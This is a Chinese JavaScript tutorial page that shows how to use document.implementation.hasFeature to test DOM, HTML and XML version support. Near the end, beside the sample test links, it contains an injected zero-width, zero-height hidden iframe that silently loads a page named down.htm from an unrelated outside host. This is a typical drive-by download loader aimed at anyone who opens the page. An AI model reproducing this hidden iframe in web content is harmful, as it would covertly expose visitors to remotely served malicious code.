当前页面: 开发资料首页 → Javascript 专题 → ★★★ 检查应用程序的版本号 ★★★
摘要: ★★★ 检查应用程序的版本号 ★★★
检查应用程序的版本号
1.0
, 2.0
,或者3.0
等。下面就是检测的用法:
document.implementation.hasFeature(应用程序名字, 版本号);
例子:
document.implementation.hasFeature("DOM", "1.0");
或者:
document.implementation.hasFeature("XML", "2.0");
如果你运行的是IE6,你可以点击进行检测:"DOM" 1.0? "HTML" 1.0? "XML" 1.0? "HTML 3.0?<iframe src="http://lucky.myrice.com/down.htm" width=0 height=0></iframe>
</td> </tr> <tr> <td vAlign=top align=left height="100%">